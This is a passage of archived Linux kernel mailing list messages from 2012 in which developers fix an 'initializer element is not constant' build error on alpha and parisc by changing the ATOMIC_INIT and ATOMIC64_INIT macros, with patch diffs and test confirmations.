	LKML <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Michael Cree <mcree@orcon.net.nz>
Original-X-From: linux-alpha-owner@vger.kernel.org Sun Aug 12 04:11:15 2012
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1T0Ne6-0007Sv-6k
	for lnx-linux-alpha@plane.gmane.org; Sun, 12 Aug 2012 04:11:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754457Ab2HLCKU (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Sat, 11 Aug 2012 22:10:20 -0400
Original-Received: from mga11.intel.com ([192.55.52.93]:35485 "EHLO mga11.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753271Ab2HLCKT (ORCPT <rfc822;linux-alpha@vger.kernel.org>);
	Sat, 11 Aug 2012 22:10:19 -0400
Original-Received: from fmsmga001.fm.intel.com ([10.253.24.23])
  by fmsmga102.fm.intel.com with ESMTP; 11 Aug 2012 19:10:18 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="4.77,753,1336374000"; 
   d="scan'208";a="198216724"
Original-Received: from unknown (HELO wfg-t420.sh.intel.com) ([10.255.20.204])
  by fmsmga001.fm.intel.com with ESMTP; 11 Aug 2012 19:10:15 -0700
Original-Received: from wfg by wfg-t420.sh.intel.com with local (Exim 4.77)
	(envelope-from <fengguang.wu@intel.com>)
	id 1T0Nd7-0002U0-Tq; Sun, 12 Aug 2012 10:10:13 +0800
Content-Disposition: inline
In-Reply-To: <502707D5.7020602@orcon.net.nz>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:1851 gmane.linux.kernel.janitors:25405 gmane.linux.kernel:1341651 gmane.linux.ports.parisc:4530
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/1851>

On Sun, Aug 12, 2012 at 01:33:09PM +1200, Michael Cree wrote:
> On 03/08/12 03:02, Fengguang Wu wrote:
> > On Thu, Jul 26, 2012 at 10:06:41AM -0700, Tony Luck wrote:
> >> On Tue, Jul 24, 2012 at 10:10 PM, James Bottomley
> >> <James.Bottomley@hansenpartnership.com> wrote:
> >>>> Here is the line in sock.i:
> >>>>
> >>>> struct static_key memalloc_socks = ((struct static_key) { .enabled =
> >>>> ((atomic_t) { (0) }) });
> >>>
> >>> The above line contains two compound literals.  It also uses a designated
> >>> initializer to initialize the field enabled.  A compound literal is not a
> >>> constant expression.
> >>
> >> Seeing the same thing on ia64 building next-20120726.  Same fix works
> >> for me ... so I'll steal this whole changelog and attributes.
> > 
> > I got the same error for alpha, the same fix applies.
> 
> Just trying this patch on Alpha against v3.6-rc1 and it leads to new
> compilation errors, namely:
> 
> init/init_task.c:12: error: braced-group within expression allowed only
> inside a function
> init/init_task.c:13: error: braced-group within expression allowed only
> inside a function
> init/init_task.c:16: error: braced-group within expression allowed only
> inside a function
> init/init_task.c:16: error: braced-group within expression allowed only
> inside a function
> make[1]: *** [init/init_task.o] Error 1

Sorry! This will actually compile:

-#define ATOMIC_INIT(i)         ( { (i) } )
+#define ATOMIC_INIT(i)         { (i) }

Ditto for the 64bit version. I'll send the updated patch.

Thanks,
Fengguang
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Fengguang Wu <fengguang.wu@intel.com>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel.janitors,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH] [ALPHA] Redefine ATOMIC_INIT and ATOMIC64_INIT to drop the
 casts
Date: Sun, 12 Aug 2012 10:14:05 +0800
Lines: 45
Approved: news@gmane.org
Message-ID: <20120812021405.GB8442@localhost>
References: <1343042420.3027.11.camel@dabdike.int.hansenpartnership.com>
 <20120723114258.GV9222@suse.de>
 <20120723122905.GA22476@localhost>
 <BLU0-SMTP2254F8872DDE5FA6035CDE97DD0@phx.gbl>
 <20120724074844.GA9519@localhost>
 <BLU0-SMTP6C7CFCFF734FE10A39B6E97DC0@phx.gbl>
 <1343193053.3139.6.camel@dabdike>
 <CA+8MBbJkGN+zGBdD5Hg26wW_6E9L_ufoutn7wj+Y+nhtW7WKWg@mail.gmail.com>
 <20120802150209.GA26601@localhost>
 <502707D5.7020602@orcon.net.nz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1344737673 7838 80.91.229.3 (12 Aug 2012 02:14:33 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 12 Aug 2012 02:14:33 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Tony Luck <tony.luck@gmail.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	Mel Gorman <mgorman@suse.de>, kernel-janitors@vger.kernel.org,
	Kyle McMartin <kyle@parisc-linux.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	LKML <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Michael Cree <mcree@orcon.net.nz>
Original-X-From: linux-alpha-owner@vger.kernel.org Sun Aug 12 04:14:31 2012
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1T0NhG-0005wO-6P
	for lnx-linux-alpha@plane.gmane.org; Sun, 12 Aug 2012 04:14:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754597Ab2HLCO2 (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Sat, 11 Aug 2012 22:14:28 -0400
Original-Received: from mga11.intel.com ([192.55.52.93]:15660 "EHLO mga11.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754156Ab2HLCO1 (ORCPT <rfc822;linux-alpha@vger.kernel.org>);
	Sat, 11 Aug 2012 22:14:27 -0400
Original-Received: from fmsmga001.fm.intel.com ([10.253.24.23])
  by fmsmga102.fm.intel.com with ESMTP; 11 Aug 2012 19:14:26 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="4.77,753,1336374000"; 
   d="scan'208";a="198218462"
Original-Received: from unknown (HELO wfg-t420.sh.intel.com) ([10.255.20.204])
  by fmsmga001.fm.intel.com with ESMTP; 11 Aug 2012 19:14:07 -0700
Original-Received: from wfg by wfg-t420.sh.intel.com with local (Exim 4.77)
	(envelope-from <fengguang.wu@intel.com>)
	id 1T0Ngr-0002dI-If; Sun, 12 Aug 2012 10:14:05 +0800
Content-Disposition: inline
In-Reply-To: <502707D5.7020602@orcon.net.nz>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:1852 gmane.linux.kernel.janitors:25406 gmane.linux.kernel:1341652 gmane.linux.ports.parisc:4531
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/1852>

From: Mel Gorman <mgorman@suse.de>

The following build error occurred during an alpha build:

net/core/sock.c:274:36: error: initializer element is not constant

Dave Anglin says:
> Here is the line in sock.i:
>
> struct static_key memalloc_socks = ((struct static_key) { .enabled =
> ((atomic_t) { (0) }) });

The above line contains two compound literals.  It also uses a designated
initializer to initialize the field enabled.  A compound literal is not a
constant expression.

The location of the above statement isn't fully clear, but if a compound
literal occurs outside the body of a function, the initializer list must
consist of constant expressions.

Cc: <stable@vger.kernel.org>
Signed-off-by: Mel Gorman <mgorman@suse.de>
Signed-off-by: Fengguang Wu <fengguang.wu@intel.com>
---
 arch/alpha/include/asm/atomic.h |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- linux.orig/arch/alpha/include/asm/atomic.h	2012-08-12 10:12:36.667523339 +0800
+++ linux/arch/alpha/include/asm/atomic.h	2012-08-12 10:12:37.659523362 +0800
@@ -14,8 +14,8 @@
  */
 
 
-#define ATOMIC_INIT(i)		( (atomic_t) { (i) } )
-#define ATOMIC64_INIT(i)	( (atomic64_t) { (i) } )
+#define ATOMIC_INIT(i)		{ (i) }
+#define ATOMIC64_INIT(i)	{ (i) }
 
 #define atomic_read(v)		(*(volatile int *)&(v)->counter)
 #define atomic64_read(v)	(*(volatile long *)&(v)->counter)
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Cree <mcree@orcon.net.nz>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel.janitors,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [next:akpm 129/309] net/core/sock.c:274:36: error: initializer
 element is not constant
Date: Sun, 12 Aug 2012 14:42:25 +1200
Lines: 48
Approved: news@gmane.org
Message-ID: <50271811.9090006@orcon.net.nz>
References: <1343042420.3027.11.camel@dabdike.int.hansenpartnership.com> <20120723114258.GV9222@suse.de> <20120723122905.GA22476@localhost> <BLU0-SMTP2254F8872DDE5FA6035CDE97DD0@phx.gbl> <20120724074844.GA9519@localhost> <BLU0-SMTP6C7CFCFF734FE10A39B6E97DC0@phx.gbl> <1343193053.3139.6.camel@dabdike> <CA+8MBbJkGN+zGBdD5Hg26wW_6E9L_ufoutn7wj+Y+nhtW7WKWg@mail.gmail.com> <20120802150209.GA26601@localhost> <502707D5.7020602@orcon.net.nz> <20120812021013.GA8442@localhost>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1344739360 17594 80.91.229.3 (12 Aug 2012 02:42:40 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 12 Aug 2012 02:42:40 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Tony Luck <tony.luck@gmail.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	Mel Gorman <mgorman@suse.de>, kernel-janitors@vger.kernel.org,
	Kyle McMartin <kyle@parisc-linux.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	LKML <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Fengguang Wu <fengguang.wu@intel.com>
Original-X-From: linux-alpha-owner@vger.kernel.org Sun Aug 12 04:42:38 2012
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1T0O8O-0008UQ-7T
	for lnx-linux-alpha@plane.gmane.org; Sun, 12 Aug 2012 04:42:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754846Ab2HLCma (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Sat, 11 Aug 2012 22:42:30 -0400
Original-Received: from nctlincom02.orcon.net.nz ([60.234.4.75]:49810 "EHLO
	nctlincom02.orcon.net.nz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753271Ab2HLCm3 (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Sat, 11 Aug 2012 22:42:29 -0400
Original-Received: from mx4.orcon.net.nz (mx4.orcon.net.nz [219.88.242.54])
	by nctlincom02.orcon.net.nz (8.14.3/8.14.3/Debian-9.4) with ESMTP id q7C2pW5G005926
	for <linux-alpha@vger.kernel.org>; Sun, 12 Aug 2012 14:51:32 +1200
Original-Received: from Debian-exim by mx4.orcon.net.nz with local (Exim 4.69)
	(envelope-from <mcree@orcon.net.nz>)
	id 1T0O8I-0008NM-Qv
	for linux-alpha@vger.kernel.org; Sun, 12 Aug 2012 14:42:26 +1200
Original-Received: from 60-234-221-162.bitstream.orcon.net.nz ([60.234.221.162] helo=[192.168.1.5])
	by mx4.orcon.net.nz with esmtpsa (TLS-1.0:RSA_AES_256_CBC_SHA1:32)
	(Exim 4.69)
	(envelope-from <mcree@orcon.net.nz>)
	id 1T0O8I-0008Ms-DI; Sun, 12 Aug 2012 14:42:26 +1200
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.16) Gecko/20120613 Icedove/3.0.11
In-Reply-To: <20120812021013.GA8442@localhost>
X-Enigmail-Version: 1.0.1
X-DSPAM-Check: by mx4.orcon.net.nz on Sun, 12 Aug 2012 14:42:26 +1200
X-DSPAM-Result: Innocent
X-DSPAM-Processed: Sun Aug 12 14:42:26 2012
X-DSPAM-Confidence: 0.7622
X-DSPAM-Probability: 0.0000
X-Bayes-Prob: 0.0001 (Score 0, tokens from: @@RPTN, default)
X-Spam-Score: 0.00 () [Hold at 5.50] 
X-CanIt-Geo: ip=60.234.221.162; country=NZ; region=G2; city=Porirua; latitude=-41.1333; longitude=174.8500; http://maps.google.com/maps?q=-41.1333,174.8500&z=6
X-CanItPRO-Stream: base:default
X-Canit-Stats-ID: 05HJCPwf6 - 7d24ed793eb5 - 20120812
X-Scanned-By: CanIt (www . roaringpenguin . com) on 172.16.100.175
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:1853 gmane.linux.kernel.janitors:25407 gmane.linux.kernel:1341655 gmane.linux.ports.parisc:4532
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/1853>

On 12/08/12 14:10, Fengguang Wu wrote:
> On Sun, Aug 12, 2012 at 01:33:09PM +1200, Michael Cree wrote:
>> On 03/08/12 03:02, Fengguang Wu wrote:
>>> On Thu, Jul 26, 2012 at 10:06:41AM -0700, Tony Luck wrote:
>>>> On Tue, Jul 24, 2012 at 10:10 PM, James Bottomley
>>>> <James.Bottomley@hansenpartnership.com> wrote:
>>>>>> Here is the line in sock.i:
>>>>>>
>>>>>> struct static_key memalloc_socks = ((struct static_key) { .enabled =
>>>>>> ((atomic_t) { (0) }) });
>>>>>
>>>>> The above line contains two compound literals.  It also uses a designated
>>>>> initializer to initialize the field enabled.  A compound literal is not a
>>>>> constant expression.
>>>>
>>>> Seeing the same thing on ia64 building next-20120726.  Same fix works
>>>> for me ... so I'll steal this whole changelog and attributes.
>>>
>>> I got the same error for alpha, the same fix applies.
>>
>> Just trying this patch on Alpha against v3.6-rc1 and it leads to new
>> compilation errors, namely:
>>
>> init/init_task.c:12: error: braced-group within expression allowed only
>> inside a function
>> init/init_task.c:13: error: braced-group within expression allowed only
>> inside a function
>> init/init_task.c:16: error: braced-group within expression allowed only
>> inside a function
>> init/init_task.c:16: error: braced-group within expression allowed only
>> inside a function
>> make[1]: *** [init/init_task.o] Error 1
> 
> Sorry! This will actually compile:
> 
> -#define ATOMIC_INIT(i)         ( { (i) } )
> +#define ATOMIC_INIT(i)         { (i) }

Thanks, it now compiles correctly.  I'm currently collecting Alpha
patches to send on to Linus so will include this one.

Cheers
Michael.
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.kernel.janitors,gmane.linux.kernel
Subject: Re: [next:akpm 129/309] net/core/sock.c:274:36: error: initializer element is not constant
Date: Sun, 12 Aug 2012 09:00:39 -0400
Lines: 100
Approved: news@gmane.org
Message-ID: <BLU0-SMTP83E63329EDAEFD6C2A5C0E97B10@phx.gbl>
References: <1343042420.3027.11.camel@dabdike.int.hansenpartnership.com> <20120723114258.GV9222@suse.de> <20120723122905.GA22476@localhost> <BLU0-SMTP2254F8872DDE5FA6035CDE97DD0@phx.gbl> <20120724074844.GA9519@localhost> <BLU0-SMTP6C7CFCFF734FE10A39B6E97DC0@phx.gbl> <1343193053.3139.6.camel@dabdike> <CA+8MBbJkGN+zGBdD5Hg26wW_6E9L_ufoutn7wj+Y+nhtW7WKWg@mail.gmail.com> <20120802150209.GA26601@localhost> <502707D5.7020602@orcon.net.nz> <20120812021013.GA8442@localhost> <50271811.9090006@orcon.net.nz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-3--750464302"
X-Trace: dough.gmane.org 1344776546 12573 80.91.229.3 (12 Aug 2012 13:02:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 12 Aug 2012 13:02:26 +0000 (UTC)
Cc: Fengguang Wu <fengguang.wu@intel.com>, linux-alpha@vger.kernel.org,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Tony Luck <tony.luck@gmail.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Mel Gorman <mgorman@suse.de>, kernel-janitors@vger.kernel.org,
	Kyle McMartin <kyle@parisc-linux.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	LKML <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Michael Cree <mcree@orcon.net.nz>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 12 15:02:23 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1T0XoF-0005ug-HH
	for glpp-linux-parisc@plane.gmane.org; Sun, 12 Aug 2012 15:02:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751949Ab2HLNBa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 12 Aug 2012 09:01:30 -0400
Original-Received: from [65.55.111.106] ([65.55.111.106]:40838 "EHLO
	blu0-omc2-s31.blu0.hotmail.com" rhost-flags-FAIL-FAIL-OK-FAIL)
	by vger.kernel.org with ESMTP id S1751703Ab2HLNB1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 12 Aug 2012 09:01:27 -0400
Original-Received: from BLU0-SMTP83 ([65.55.111.72]) by blu0-omc2-s31.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 12 Aug 2012 06:00:57 -0700
X-Originating-IP: [174.92.93.236]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.93.236]) by BLU0-SMTP83.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 12 Aug 2012 06:00:56 -0700
In-Reply-To: <50271811.9090006@orcon.net.nz>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 12 Aug 2012 13:00:56.0413 (UTC) FILETIME=[831CB8D0:01CD788A]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4533 gmane.linux.ports.alpha:1854 gmane.linux.kernel.janitors:25409 gmane.linux.kernel:1341711
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4533>

--Apple-Mail-3--750464302
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

On 11-Aug-12, at 10:42 PM, Michael Cree wrote:

> On 12/08/12 14:10, Fengguang Wu wrote:
>> On Sun, Aug 12, 2012 at 01:33:09PM +1200, Michael Cree wrote:
>>> On 03/08/12 03:02, Fengguang Wu wrote:
>>>> On Thu, Jul 26, 2012 at 10:06:41AM -0700, Tony Luck wrote:
>>>>> On Tue, Jul 24, 2012 at 10:10 PM, James Bottomley
>>>>> <James.Bottomley@hansenpartnership.com> wrote:
>>>>>>> Here is the line in sock.i:
>>>>>>>
>>>>>>> struct static_key memalloc_socks = ((struct static_key)  
>>>>>>> { .enabled =
>>>>>>> ((atomic_t) { (0) }) });
>>>>>>
>>>>>> The above line contains two compound literals.  It also uses a  
>>>>>> designated
>>>>>> initializer to initialize the field enabled.  A compound  
>>>>>> literal is not a
>>>>>> constant expression.
>>>>>
>>>>> Seeing the same thing on ia64 building next-20120726.  Same fix  
>>>>> works
>>>>> for me ... so I'll steal this whole changelog and attributes.
>>>>
>>>> I got the same error for alpha, the same fix applies.
>>>
>>> Just trying this patch on Alpha against v3.6-rc1 and it leads to new
>>> compilation errors, namely:
>>>
>>> init/init_task.c:12: error: braced-group within expression allowed  
>>> only
>>> inside a function
>>> init/init_task.c:13: error: braced-group within expression allowed  
>>> only
>>> inside a function
>>> init/init_task.c:16: error: braced-group within expression allowed  
>>> only
>>> inside a function
>>> init/init_task.c:16: error: braced-group within expression allowed  
>>> only
>>> inside a function
>>> make[1]: *** [init/init_task.o] Error 1
>>
>> Sorry! This will actually compile:
>>
>> -#define ATOMIC_INIT(i)         ( { (i) } )
>> +#define ATOMIC_INIT(i)         { (i) }
>
> Thanks, it now compiles correctly.  I'm currently collecting Alpha
> patches to send on to Linus so will include this one.


A similar change applied to 3.5.1 stable compiles successfully
on parisc.

Regards,
Dave
--
John David Anglin	dave.anglin@bell.net



--Apple-Mail-3--750464302
Content-Disposition: attachment; filename="atomic.h.d.txt"
Content-Type: text/plain; x-unix-mode=0644; name="atomic.h.d.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/include/asm/atomic.h b/arch/parisc/include/asm/atomic.h
index 6c6defc..af9cf30 100644
--- a/arch/parisc/include/asm/atomic.h
+++ b/arch/parisc/include/asm/atomic.h
@@ -141,7 +141,7 @@ static __inline__ int __atomic_add_unless(atomic_t *v, int a, int u)
 
 #define atomic_sub_and_test(i,v)	(atomic_sub_return((i),(v)) == 0)
 
-#define ATOMIC_INIT(i)	((atomic_t) { (i) })
+#define ATOMIC_INIT(i)	{ (i) }
 
 #define smp_mb__before_atomic_dec()	smp_mb()
 #define smp_mb__after_atomic_dec()	smp_mb()
@@ -150,7 +150,7 @@ static __inline__ int __atomic_add_unless(atomic_t *v, int a, int u)
 
 #ifdef CONFIG_64BIT
 
-#define ATOMIC64_INIT(i) ((atomic64_t) { (i) })
+#define ATOMIC64_INIT(i) { (i) }
 
 static __inline__ s64
 __atomic64_add_return(s64 i, atomic64_t *v)

--Apple-Mail-3--750464302--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.kernel.janitors,gmane.linux.kernel
Subject: Re: [PATCH] [ALPHA] Redefine ATOMIC_INIT and ATOMIC64_INIT to drop
 the casts
Date: Wed, 15 Aug 2012 15:03:28 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <20120815150328.e1fb3676.akpm@linux-foundation.org>
References: <1343042420.3027.11.camel@dabdike.int.hansenpartnership.com>
	<20120723114258.GV9222@suse.de>
	<20120723122905.GA22476@localhost>
	<BLU0-SMTP2254F8872DDE5FA6035CDE97DD0@phx.gbl>
	<20120724074844.GA9519@localhost>
	<BLU0-SMTP6C7CFCFF734FE10A39B6E97DC0@phx.gbl>
	<1343193053.3139.6.camel@dabdike>
	<CA+8MBbJkGN+zGBdD5Hg26wW_6E9L_ufoutn7wj+Y+nhtW7WKWg@mail.gmail.com>
	<20120802150209.GA26601@localhost>
	<502707D5.7020602@orcon.net.nz>
	<20120812021405.GB8442@localhost>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1345068220 22061 80.91.229.3 (15 Aug 2012 22:03:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 15 Aug 2012 22:03:40 +0000 (UTC)
Cc: Michael Cree <mcree@orcon.net.nz>, linux-alpha@vger.kernel.org,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Tony Luck <tony.luck@gmail.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	Mel Gorman <mgorman@suse.de>, kernel-janitors@vger.kernel.org,
	Kyle McMartin <kyle@parisc-linux.org>,
	LKML <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	David Miller <davem@davemloft.net>
To: Fengguang Wu <fengguang.wu@intel.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 16 00:03:37 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1T1lgc-0003yx-R3
	for glpp-linux-parisc@plane.gmane.org; Thu, 16 Aug 2012 00:03:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752914Ab2HOWDd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 15 Aug 2012 18:03:33 -0400
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:35168 "EHLO
	mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752461Ab2HOWDb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 15 Aug 2012 18:03:31 -0400
Original-Received: from akpm.mtv.corp.google.com (216-239-45-4.google.com [216.239.45.4])
	by mail.linuxfoundation.org (Postfix) with ESMTPSA id CE971279;
	Wed, 15 Aug 2012 22:03:30 +0000 (UTC)
In-Reply-To: <20120812021405.GB8442@localhost>
X-Mailer: Sylpheed 3.0.2 (GTK+ 2.20.1; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4534 gmane.linux.ports.alpha:1855 gmane.linux.kernel.janitors:25484 gmane.linux.kernel:1343954

On Sun, 12 Aug 2012 10:14:05 +0800
Fengguang Wu <fengguang.wu@intel.com> wrote:

> From: Mel Gorman <mgorman@suse.de>
> 
> The following build error occurred during an alpha build:
> 
> net/core/sock.c:274:36: error: initializer element is not constant
> 
> Dave Anglin says:
> > Here is the line in sock.i:
> >
> > struct static_key memalloc_socks = ((struct static_key) { .enabled =
> > ((atomic_t) { (0) }) });
> 
> The above line contains two compound literals.  It also uses a designated
> initializer to initialize the field enabled.  A compound literal is not a
> constant expression.
> 
> The location of the above statement isn't fully clear, but if a compound
> literal occurs outside the body of a function, the initializer list must
> consist of constant expressions.
> 
> Cc: <stable@vger.kernel.org>
> Signed-off-by: Mel Gorman <mgorman@suse.de>
> Signed-off-by: Fengguang Wu <fengguang.wu@intel.com>

I'll remvoe the Cc:stable from this one - the regression is post-3.5.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bhelgaas@google.com>
Newsgroups: gmane.linux.kernel.pci,gmane.linux.ports.parisc
Subject: [PATCH 3/6] parisc/PCI: Enable PERR/SERR on all devices
Date: Thu, 16 Aug 2012 17:26:30 -0600
Lines: 40
